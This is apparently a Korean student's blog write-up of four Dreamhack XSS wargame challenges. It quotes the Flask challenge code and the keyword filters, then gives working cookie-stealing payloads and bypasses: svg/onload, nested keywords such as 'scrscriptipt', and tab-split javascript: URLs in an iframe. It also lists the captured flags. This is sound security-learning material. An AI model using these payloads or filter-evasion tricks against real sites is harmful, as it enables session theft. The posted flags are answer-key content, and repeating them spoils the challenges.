3주차/XSS 과제

gkdudans·2023년 11월 25일

EVI$ION/웹

목록 보기
4/11

1. [드림핵] XSS-1

https://dreamhack.io/wargame/challenges/28/

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "") #사용자가 입력한 param을 가져옴
    return param #별도의 필터링 없이 그대로 출력 => 취약점 


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'

memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)
		#render_templeate 함수를 통해 memo.html 출력함
  • 취약점: 소스코드를 확인해 보니 /vuln 엔드포인트에서 XSS 취약점이 발생한다. 이를 이용해서 1) 외부에서 접근 가능한 웹 서버를 이용하거나 2) 문제에서 제공하는 /memo 엔드포인트를 사용할 수 있다. 나는 평소에 많이 하는 방법대로 2) /memo 엔드포인트를 사용해 풀어볼 것이다.

    • document.cookie; #해당 페이지의 쿠키를 읽고 씀
    • location.href=””; #””내의 링크로 위치 이동함
    • document.location=””;, #“”링크로 이동
  • 문제 풀이: 필터링이 없기 때문에

    • location.href를 통해 /memo로 주소를 옮겨줄 것이다.
    • ?memo=+document.cookie; 를 통해 탈취한 cookie를 출력한다.
  • 정답:


2. [드림핵] XSS-2

https://dreamhack.io/wargame/challenges/268

@app.route("/vuln")
def vuln():
    return render_template("vuln.html")
  • 취약점: 코드를 살펴보면, render_template를 사용해 이용자가 전달한 param 파라미터의 값을 출력하고 있다.

  • 문제 풀이: 사이트에서 확인해 보니 script 태그를 사용하지 못한다는 것을 알 수 있다. 우회 방법을 찾아보니 svg/onload를 이용할 수 있을 것 같다.

    • svg는 Scalable Vector Graphics의 약자로 벡터 기반 그래픽을 XML 형식으로 정의하는 것을 의미한다.
    • onload는 특정 요소에서 발생하는 이벤트를 처리하기 위해 존재하는 콜백 형태의 이벤트 핸들러 함수이다. 이벤트 핸들러 내에 XSS 공격 코드를 삽입해두면 해당 이벤트가 발생했을 때 공격 코드가 실행된다.
  • 정답: svg/onload 구문을 이용해 memo 페이지에 임의 이용자의 쿠키 정보를 확인한다.

    • <svg/onload=location="/memo?memo="+document.cookie;>
    • flag=DH{3c01577e9542ec24d68ba0ffb846508f}

3. [드림핵] XSS Filtering Bypass

https://dreamhack.io/wargame/challenges/433

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param
  • 취약점: /vuln request.args.get("param", "")을 통해 사용자가 입력한 param을 가져오고 있는데, 여기서 xss_filter를 한 번 거친다는 것을 확인한다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

문제 풀이:

  • xss_filter가 걸려있는 것을 확인한다. script, on, javascript가 구문에 포함되어 있는 경우 ““로 치환하여 필터링하고 있는 것을 알 수 있다.
  • 제외하고는 XSS-1과 동일, 를 이용하자.
  • 빈 문자열로 치환된다는 걸 감안하여 구문을 다시 써보면 locatioonn.href = "/memo?memo=" + document.cookie;가 된다. 여기서
    • scrscriptipt ⇒ script가 빈 문자열로 치환되어 script
    • locatioonn.href ⇒ on이 빈 문자열로 치환되어 location으로 해석될 것이다.

정답:

  • XSS 공격을 위해 이용자의 cookie값을 탈취한 다음, location.href를 통해 /memo로 주소를 옮긴다. ?memo=+document.cookie; 를 통해 탈취한 cookie를 출력한다.
  • /flag 페이지에 다음과 같이 입력한다: <scrscriptipt>locatioonn.href = "/memo?memo=" + document.cookie;</scrscriptipt>
  • /memo 페이지에서 flag를 획득할 수 있다. flag= DH{81cd7cb24a49ad75b9ba37c2b0cda4ea}

4. [드림핵] XSS Filtering Bypass Advanced

https://dreamhack.io/wargame/challenges/434

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return paramdef check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text
  • 취약점: /vuln XSS Filtering Bypass와 동일하다. request.args.get("param", "")을 통해 사용자가 입력한 param을 가져오고 있는데, 여기서 xss_filter를 한 번 거친다는 것을 확인한다.
def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript"]
    for f in _filter:
        if f in text.lower():
            return "filtered!!!"

    advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
    for f in advanced_filter:
        if f in text.lower():
            return "filtered!!!"

    return text

문제 풀이:

  • XSS Filtering Bypass와 다른 점은 xss filter가 강화되었다는 점이다. window, self, this, document, location, (, ), &#를 아예 필터링하고 있어 HTML 우회 역시 어려울 것으로 보인다. 또한 lower 함수를 이용해 모두 소문자로 검사하기 때문에 대문자를 이용한 우회가 통하지 않는다.
  • 웬만한 키워드가 모두 필터링되고 있으므로 유니코드 우회를 이용한다. 또한
  • 원래 구문:
  • iframe 구문으로 변경: <iframe src="javascript:location.href = '/memo?memo=' + document.cookie">
  • 이중 인코딩 이용: <iframe src="javascrip%09t:locatio%09n.href = '/memo?memo=' + do%09cument.cookie"> //실패
  • 정규화 알고리즘 이용: <iframe src="javascr ipt: locatio n.href='memo?memo='+do cument.cookie"> //성공

정규화(Normalization)

  • 브라우저들이 URL을 사용할 때 거치는 과정 중 하나
  • 정규화는 동일한 리소스를 나타내는 서로 다를 URL을 통일된 형태로 변환하는 과정으로 \x01, \x04, \t와 같은 특수문자가 제거되고, 스키마의 대소문자가 통일된다.
  • 특수문자 tab을 이용해서 필터링을 우회해 공격한다.

정답:

  • XSS 공격을 위해 이용자의 cookie값을 탈취한 다음, location.href를 통해 /memo로 주소를 옮긴다. ?memo=+document.cookie; 를 통해 탈취한 cookie를 출력한다.
  • /flag 페이지에 다음과 같이 입력한다: <iframe src="jav ascr ipt:locatio n.href = '/memo?memo=' + docum ent.cookie">
  • /memo 페이지에서 flag를 획득할 수 있다. flag= DH{e8140ed5b0770088dd2012e1c9dfd4b4}
  • 문제를 푸는 데 오랜 시간이 걸렸는데, 정규화가 아직은 익숙하지 않아 어려웠다. 정규화, XSS filtering 우회에 대해 더 공부해봐야 할 것 같다.
profile
https://github.com/gkdudans

0개의 댓글